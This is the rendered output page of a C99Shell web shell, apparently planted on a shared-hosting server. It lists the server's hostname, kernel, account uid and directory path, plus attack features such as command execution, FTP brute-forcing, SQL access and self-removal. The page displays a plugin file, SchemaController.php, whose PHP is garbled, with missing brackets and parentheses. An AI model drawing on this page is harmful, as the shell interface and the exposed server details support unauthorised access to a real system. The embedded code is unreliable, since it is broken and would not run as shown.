!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/var/softaculous/sitepad/editor/site-data/plugins/kkart-pro/packages/kkart-blocks/src/StoreApi/   drwxr-xr-x
Free 293.39 GB of 429.69 GB (68.28%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     SchemaController.php (2 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
namespace Automattic\Kkart\Blocks\StoreApi;

use 
Exception;
use 
Schemas\AbstractSchema;

/**
 * SchemaController class.
 *
 * @internal This API is used internally by Blocks--it is still in flux and may be subject to revisions.
 */
class SchemaController {

    
/**
     * Stores schema class instances.
     *
     * @var AbstractSchema[]
     */
    
protected $schemas = [];

    
/**
     * Constructor.
     */
    
public function __construct() {
        
$this->initialize();
    }

    
/**
     * Get a schema class instance.
     *
     * @throws Exception If the schema does not exist.
     *
     * @param string $name Name of schema.
     * @return AbstractSchema
     */
    
public function get$name ) {
        if ( ! isset( 
$this->schemas$name ] ) ) {
            throw new 
Exception$name ' schema does not exist' );
        }
        return 
$this->schemas$name ];
    }

    
/**
     * Load schema class instances.
     */
    
protected function initialize() {
        
$this->schemas = [
            
'cart'                    => new Schemas\CartSchema(
                new 
Schemas\CartItemSchema(
                    new 
Schemas\ImageAttachmentSchema()
                ),
                new 
Schemas\CartCouponSchema(),
                new 
Schemas\CartShippingRateSchema(),
                new 
Schemas\ShippingAddressSchema(),
                new 
Schemas\ErrorSchema()
            ),
            
'cart-coupon'             => new Schemas\CartCouponSchema(),
            
'cart-item'               => new Schemas\CartItemSchema(
                new 
Schemas\ImageAttachmentSchema()
            ),
            
'checkout'                => new Schemas\CheckoutSchema(
                new 
Schemas\BillingAddressSchema(),
                new 
Schemas\ShippingAddressSchema()
            ),
            
'product'                 => new Schemas\ProductSchema(
                new 
Schemas\ImageAttachmentSchema()
            ),
            
'product-attribute'       => new Schemas\ProductAttributeSchema(),
            
'product-category'        => new Schemas\ProductCategorySchema(
                new 
Schemas\ImageAttachmentSchema()
            ),
            
'product-collection-data' => new Schemas\ProductCollectionDataSchema(),
            
'product-review'          => new Schemas\ProductReviewSchema(
                new 
Schemas\ImageAttachmentSchema()
            ),
            
'term'                    => new Schemas\TermSchema(),
        ];
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0983 ]--